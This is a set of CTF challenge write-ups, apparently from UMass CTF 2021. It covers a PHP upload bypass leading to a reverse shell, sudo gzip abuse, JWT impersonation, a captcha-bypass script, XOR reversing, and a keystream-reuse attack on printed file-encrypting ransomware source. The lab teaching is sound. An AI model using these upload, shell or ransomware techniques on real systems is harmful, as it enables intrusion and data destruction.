Hermit – Part 1

Web – 50pts

Description

Help henry find a new shell

Solution

When entering the challenge page we get some image upload functionality.

Lets create a PHP script and try to get it to execute.

<?php echo 'hellozz'; ?>

Uploading the script with the PHP extension yields an error telling us that it’s not an PNG, JPG or GIF image. Lets change the extension to PNG and try again. This time we are able to upload our script.

Lets see if we can execute the script. If we click the See Image link, our script is executed.

Great, we can execute our own PHP-code, lets upload a reverse shell like php-reverse-shell and find out if we can create connections from the server. After uploading the script and executing it we get a connection on our listener.

listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45198
Linux aec9a5b5ef1d 4.19.0-14-cloud-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
 11:39:41 up 12:52,  0 users,  load average: 0.40, 0.26, 0.13
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(hermit) gid=1000(hermit) groups=1000(hermit),27(sudo)
/bin/sh: 0: can't access tty; job control turned off
$

Taking a look around the filesystem we can find a file called userflag.txt in /home/hermit, viewing the file gives us the flag.

UMASS{a_picture_paints_a_thousand_shells}

Hermit – Part 2

Web – 307pts

Description

Who are you? How did you get here? You better zip on out of here or else.

Solution

Using the shell we got in the previous challenge we can start to look around for the next flag. Checking sudo -l shows us an interesting command that we can run.

Matching Defaults entries for hermit on cca6b83f9146:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User hermit may run the following commands on cca6b83f9146:
    (ALL : ALL) ALL
    (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t

When we run sudo /bin/gzip -f /root/rootflag.txt -t we get the flag.

UMASS{a_test_of_integrity}

heim

Web – 334pts

Description

Modern auth for the modern viking

Solution

Entering the challenge page we get an input field for a name and a button.

When entering a name and clicking the ENTER button all we get is a JWT token.

Lets modify the request and add the bearer token and see what happens.

GET /heim HTTP/1.1
Host: 104.197.195.221:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTYxNjg0NTU0OSwianRpIjoiNmYzN2M2NTgtOWVhMC00ZWViLWEzOWEtMzQ4NGFhMjc4OGJmIiwibmJmIjoxNjE2ODQ1NTQ5LCJ0eXBlIjoiYWNjZXNzIiwic3ViIjoidGVzdCIsImV4cCI6MTYxNjg0NjQ0OX0.WsVvaw5BK30znH8z84eW-FBGMdCm2UfuyZENi4kspqU
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Sat, 27 Mar 2021 11:47:12 GMT
Connection: close
Content-Type: application/json
Content-Length: 2252

{
  "msg": "ewogICAgImFwaSI6IHsKICAgICAgICAidjEiOiB7CiAgICAgICAgICAgICIvYXV0aCI6IHsKICAgICAgICAgICAgICAgICJnZXQiOiB7CiAgICAgICAgICAgICAgICAgICAgInN1bW1hcnkiOiAiRGVidWdnaW5nIG1ldGhvZCBmb3IgYXV0aG9yaXphdGlvbiBwb3N0IiwKICAgICAgICAgICAgICAgICAgICAic2VjdXJpdHkiOiAiTm9uZSIsCiAgICAgICAgICAgICAgICAgICAgInBhcmFtZXRlcnMiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICJhY2Nlc3NfdG9rZW4iOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmVxdWlyZWQiOiB0cnVlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkFjY2VzcyB0b2tlbiBmcm9tIHJlY2VudGx5IGF1dGhvcml6ZWQgVmlraW5nIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpbiI6ICJwYXRoIiwKICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgImp3dF9zZWNyZXRfa2V5IjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgInJlcXVpcmVkIjogZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiRGVidWdnaW5nIC0gc2hvdWxkIGJlIHJlbW92ZWQgaW4gcHJvZCBIZWltIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpbiI6ICJwYXRoIgogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICJwb3N0IjogewogICAgICAgICAgICAgICAgICAgICJzdW1tYXJ5IjogIkF1dGhvcml6ZSB5b3Vyc2VsZiBhcyBhIFZpa2luZyIsCiAgICAgICAgICAgICAgICAgICAgInNlY3VyaXR5IjogIk5vbmUiLAogICAgICAgICAgICAgICAgICAgICJwYXJhbWV0ZXJzIjogewogICAgICAgICAgICAgICAgICAgICAgICAidXNlcm5hbWUiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmVxdWlyZWQiOiB0cnVlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIllvdXIgVmlraW5nIG5hbWUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImluIjogImJvZHkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbnRlbnQiOiAibXVsdGlwYXJ0L3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgIi9oZWltIjogewogICAgICAgICAgICAgICAgImdldCI6IHsKICAgICAgICAgICAgICAgICAgICAic3VtbWFyeSI6ICJMaXN0IHRoZSBlbmRwb2ludHMgYXZhaWxhYmxlIHRvIG5hbWVkIFZpa2luZ3MiLAogICAgICAgICAgICAgICAgICAgICJzZWN1cml0eSI6ICJCZWFyZXJBdXRoIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAiL2ZsYWciOiB7CiAgICAgICAgICAgICAgICAiZ2V0IjogewogICAgICAgICAgICAgICAgICAgICJzdW1tYXJ5IjogIlJldHJpZXZlIHRoZSBmbGFnIiwKICAgICAgICAgICAgICAgICAgICAic2VjdXJpdHkiOiAiQmVhcmVyQXV0aCIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQ=="
}

Now we got a response with a base64 encoded message, decoding the message gives us a schema for the api.

{
    "api": {
        "v1": {
            "/auth": {
                "get": {
                    "summary": "Debugging method for authorization post",
                    "security": "None",
                    "parameters": {
                        "access_token": {
                            "required": true,
                            "description": "Access token from recently authorized Viking",
                            "in": "path",
                        },
                        "jwt_secret_key": {
                            "required": false,
                            "description": "Debugging - should be removed in prod Heim",
                            "in": "path"
                        }
                    }
                },
                "post": {
                    "summary": "Authorize yourself as a Viking",
                    "security": "None",
                    "parameters": {
                        "username": {
                            "required": true,
                            "description": "Your Viking name",
                            "in": "body",
                            "content": "multipart/x-www-form-urlencoded"
                        }
                    }
                }
            },
            "/heim": {
                "get": {
                    "summary": "List the endpoints available to named Vikings",
                    "security": "BearerAuth"
                }
            },
            "/flag": {
                "get": {
                    "summary": "Retrieve the flag",
                    "security": "BearerAuth"
                }
            }
        }
    }
}

The last entry in the schema reveals a /flag endpoint with bearer authentication, lets try it out.

GET /flag HTTP/1.1
Host: 104.197.195.221:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTYxNjg0NTU0OSwianRpIjoiNmYzN2M2NTgtOWVhMC00ZWViLWEzOWEtMzQ4NGFhMjc4OGJmIiwibmJmIjoxNjE2ODQ1NTQ5LCJ0eXBlIjoiYWNjZXNzIiwic3ViIjoidGVzdCIsImV4cCI6MTYxNjg0NjQ0OX0.WsVvaw5BK30znH8z84eW-FBGMdCm2UfuyZENi4kspqU
HTTP/1.1 401 UNAUTHORIZED
Server: gunicorn/20.0.4
Date: Sat, 27 Mar 2021 11:49:21 GMT
Connection: close
Content-Type: application/json
Content-Length: 77

{
  "msg": "You are not worthy. Only the AllFather Odin may view the flag"
}

Ok, so we need to be authenticated as Odin, lets head back to the start page and generate a token for Odin. Using the new token to call the /flag endpoint returns the flag.

UMASS{liveheim_laughheim_loveheim}

PikCha

Web – 241pts

Solution

For this challenge we get a captcha-like image to break 500 times.

Checking out the cookies we can see that we have a cookie named session which contains some base64 encoded data.

Decoding the base64 part we get some JSON data.

{"answer":[95,11,24,44],"correct":0,"image":"./static/chall-images/maIoxghuCl.jpg"}

Lets see if the values in the answer array works.

Ok, so we got the answer to the captcha in the session cookie for each request, using the following script we can solve all 500.

#!/usr/bin/env python3

import requests
import base64
import json

cookies = {}
url = 'http://34.121.84.161:8084/'

def get_session_data(session_cookie):
    return json.loads(base64.b64decode(session_cookie.split('.')[0] + '==='))

while True:
    r = requests.get(url, cookies=cookies)
    session_data = get_session_data(r.cookies['session'])

    answer = ' '.join(map(str, session_data['answer']))
    r = requests.post(url, data = {'guess': answer}, cookies=r.cookies)
    cookies = r.cookies
    session_data = get_session_data(r.cookies['session'])
    print(session_data)

    if session_data['correct'] == 500:
        print(r.text)
        break

After running this script we get the flag.

UMASS{G0tt4_c4tch_th3m_4ll_17263548}

easteregg

Reverse Engineering – 50pts

Description

Dangeresque likes easter eggs.

Solution

Disassembling the binary with Ghidra and taking a look at the main function we find the game loop with a bunch of command checks. Right after the loop we can find another loop that XOR:s two values.

while (local_194 < 0x23) {
  putchar((int)(char)(LHEIBZNXEKQSAPHHUWTQ[local_194] ^ COJASZQHPZXKLAPHRHOK[local_194]));
  local_194 = local_194 + 1;
}

Extracting the values we get a ASCII string and a byte array.

LHEIBZNXEKQSAPHHUWTQ =
\x12\x18\x08\x0a\x10\x37\x37\x66\x28\x17\x78\x60\x67\x29\x18\x26\x07\x2b\x37\x28\x0b\x35\x76\x37\x20\x11\x2f\x37\x24\x64\x37\x2a\x7a\x3e\x35

COJASZQHPZXKLAPHRHOK =
GUIYCLZVEHIPWBGOXHVFTGEVDNNDWWZHKGH

When XOR:ing these arrays we get the flag.

UMASS{m0m_100k_i_can_r3ad_ass3mb1y}

malware

Cryptography – 434pts

Description

We’ve identified some ransomeware on one of our employee’s systems, but it seems like it was made by a script kiddie. Think you can decrypt the files for us?

Solution

For this challenge we get a python script, malware.py, and four encrypted files.

CTF-favicon.png.enc
flag.txt.enc
malware.py.enc
shopping_list.txt.enc

Lets start by examining the python script.

from Crypto.Cipher import AES
from Crypto.Util import Counter
import binascii
import os

key = os.urandom(16)
iv = int(binascii.hexlify(os.urandom(16)), 16)

for file_name in os.listdir():
    data = open(file_name, 'rb').read()

    cipher = AES.new(key, AES.MODE_CTR, counter = Counter.new(128, initial_value=iv))
    
    enc = open(file_name + '.enc', 'wb')
    enc.write(cipher.encrypt(data))

    iv += 1

So each of the encrypted files are encrypted with AES Counter mode, using the same random key but incrementing the initial value.

If we take a look at how the AES Counter mode works we may find out how to decrypt the files.

So the counter mode encryption generates a new encryption block from the key and the counter with the length of the key. Then the encryption block is XOR:ed with the first block of the plaintext to generate the first block of the ciphertext. For each subsequent block the counter is incremented by one.

If we take a look at how the malware.py works we can see that for each file it increments the initial value by one, meaning that the second encryption block of the first encrypted file are equal to the first block of the second encrypted file, the third encryption block of the first file are equal to the second block of the second file and the first block of the third file and so on.

Since we have the plaintext of the malware.py.enc, we are able to get the encryption blocks used by XOR:ing each byte of malware.py with malware.py.enc. And if we are lucky, the encryption blocks used to encrypt flag.txt.enc is within the blocks we can restore.

As it turns out, we are lucky, and the encryption blocks used to encrypt flag.txt.enc starts at the second block of the recovered blocks. Using the following script we can decrypt flag.txt.enc.

#!/usr/bin/env python3

plaintext = open('malware.py', 'rb').read()
encrypted = open('enc/malware.py.enc', 'rb').read()
key = bytearray()

for idx in range(0,len(plaintext)):
    key.append(plaintext[idx] ^ encrypted[idx])

encrypted = open('enc/flag.txt.enc', 'rb').read()

key = key[32:]

decrypted = bytearray()
for idx in range(0, len(encrypted)):
    decrypted.append((key[idx % len(key)]) ^ encrypted[idx])

print(decrypted.decode())
UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}

Scan Me

Misc – 128pts

Description

The top layer is a lie.

Solution

Attached is a GIMP XCF image file. Opening the file in GIMP we get a white image, taking a look at the layers reveals that there’s another layer beneath the white layer.

Hiding the top layer reveals a broken QR-code.

Restoring the obvious parts of the QR code we get the following image.

Using QRazyBox we can upload our partially restored QR code and decode it to retrieve an imgur link. Following that link we get an image containing the flag.

UMASS{QR-3Z-m0d3}

Notes

Forensics – 50pts

Description

The breach seems to have originated from this host. Can you find the user’s mistake? Here is a memory image of their workstation from that day.

Solution

Attached is a memory image, running strings -n 8 -e l image.mem | grep UMASS returns the flag.

UMASS{$3CUR3_$70Rag3}